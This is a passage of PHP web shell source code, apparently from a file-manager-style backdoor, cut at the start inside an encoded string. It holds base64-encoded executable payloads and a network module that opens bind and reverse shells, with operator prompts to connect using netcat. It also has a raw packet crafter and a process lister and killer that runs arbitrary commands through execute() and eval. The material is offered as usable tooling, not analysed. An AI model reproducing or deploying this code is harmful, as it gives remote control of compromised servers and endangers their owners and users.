"lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8="; +$GLOBALS['resources']['rs_executable'] = "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"; + +$GLOBALS['module']['network']['id'] = "network"; +$GLOBALS['module']['network']['title'] = "Network"; +$GLOBALS['module']['network']['js_ontabselected'] = ""; +$GLOBALS['module']['network']['content'] = " + + + + + + + + + + + + + + + +

Bind Shell

Server IP
Port
+ + run
Press ' run ' button and run ' nc server_ip port ' on your computer
+
+ + + + + + + + + + + + + + + +

Reverse Shell

Target IP
Port
+ + run
Run ' nc -l -v -p port ' on your computer and press ' run ' button
+
+ + + + + + + + + + + + + + + + + + + +

Simple Packet Crafter

Host
Start Port
End Port
Connection Timeout
Stream Timeout
+ run + You can also press ctrl+enter to submit
+"; + + +if(isset($p['rsLang']) && isset($p['rsArgs'])){ + $rsLang = $p['rsLang']; + $rsArgs = $p['rsArgs']; + $res = ""; + + if($rsLang=="php"){ + $code = get_resource("rs_".$rsLang); + if($code!==false){ + $code = "\$target = \"".$rsArgs."\"; ?>".$code; + $res = eval_go($rsLang, $code, "", ""); + } + } + else{ + $code = get_resource("rs_".$rsLang); + if($code!==false){ + $res = eval_go($rsLang, $code, "", $rsArgs); + } + } + + if($res===false) $res == "error"; + output(html_safe($res)); +} +elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){ + $packetHost = trim($p['packetHost']); + if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; + + $packetPort = (int) $p['packetPort']; + + $packetTimeout = (int) $p['packetTimeout']; + $packetSTimeout = (int) $p['packetSTimeout']; + + $packetContent = $p['packetContent']; + if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); + else{ + $packetContent = str_replace(array("\r","\n"), "", $packetContent); + $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent); + } + + $res = ""; + + + $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); + if(!$sock){ + $res .= "
"; + $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
"; + } + else{ + stream_set_timeout($sock, $packetSTimeout); + fwrite($sock, $packetContent."\r\n\r\n\x00"); + $counter = 0; + $maxtry = 1; + $bin = ""; + do{ + $line = fgets($sock, 1024); + if(trim($line)=="") $counter++; + $bin .= $line; + }while($counter<$maxtry); + fclose($sock); + $res .= ""; + $res .= "
"; + } + + output($res); +} + +$GLOBALS['module']['processes']['id'] = "processes"; +$GLOBALS['module']['processes']['title'] = "Processes"; +$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();"; +$GLOBALS['module']['processes']['content'] = ""; + +if(!function_exists('show_processes')){ + function show_processes(){ + $output = ''; + $wcount = 11; + if(is_win()){ + $cmd = "tasklist /V /FO csv"; + $wexplode = "\",\""; + } + else{ + $cmd = "ps aux"; + $wexplode = " "; + } + + $res = execute($cmd); + if(trim($res)=='') return false; + else{ + $output .= ""; + if(!is_win()) $res = preg_replace('#\ +#',' ',$res); + + $psarr = explode("\n",$res); + $fi = true; + $tblcount = 0; + + $check = explode($wexplode,$psarr[0]); + $wcount = count($check); + + foreach($psarr as $psa){ + if(trim($psa)!=''){ + if($fi){ + $fi = false; + $psln = explode($wexplode, $psa, $wcount); + $output .= ""; + foreach($psln as $p) $output .= ""; + $output .= ""; + } + else{ + $psln = explode($wexplode, $psa, $wcount); + $pid = trim(trim($psln[1]),"\""); + $tblcount = 0; + $output .= ""; + + foreach($psln as $p){ + if(trim($p)=="") $p = " "; + $p = trim(trim($p) ,"\""); + $p = html_safe($p); + if($tblcount == 0){ + $output .= ""; + $tblcount++; + } + else{ + $tblcount++; + if($tblcount == count($psln)) $output .= ""; + else $output .= ""; + } + } + $output .= ""; + } + } + } + $colspan = count($psln)+1; + $colspanAll = $colspan+1; + $output .= "
action".trim(trim(strtolower($p)) ,"\"")."
kill".$p."".$p."".$p."
kill selectedrefresh
"; + } + return $output; + } +} + + +if(isset($p['showProcesses'])){ + $processes = show_processes(); + if($processes!==false) output($processes); + output('error'); +} +elseif(isset($p['allPid'])){ + $allPid = explode(" ", $p['allPid']); + $counter = 0; + foreach($allPid as $pid){ + $pid = trim($pid); + if(!empty($pid)){ + if(function_exists("posix_kill")){ + if(posix_kill($pid,'9')) $counter++; + } + else{ + if(is_win()){ + $cmd = execute("taskkill /F /PID ".$pid); + $cmd = execute("tasklist /FI \"PID eq ".$pid."\""); + if(strpos($cmd,"No tasks are running")!==false) $counter++; + } + else{ + $cmd = execute("kill -9 ".$pid); + if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ + $cmd = trim(execute("ps -p ".$pid)); + $check = explode("\n", $cmd); + if(count($check)==1) $counter++; + } + } + } + } + } + if($counter>0) output($counter); + else output('error'); +} + +$error = @ob_get_contents(); + $error_html = (!empty($error))?"
".str_replace("\n\n", "\n", html_safe($error))."
":""; + @ob_end_clean(); + error_reporting(0); + @ini_set('display_errors','0'); + + +?> + + +<?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?> + + + +'> + + + + +
+ + + + + +
+ +
+
+ $v){ + echo "
".$v."
"; + } + ?> +
+ + + ".$content."
"; + } + ?> +
+ + + + + +
+
+ + + + +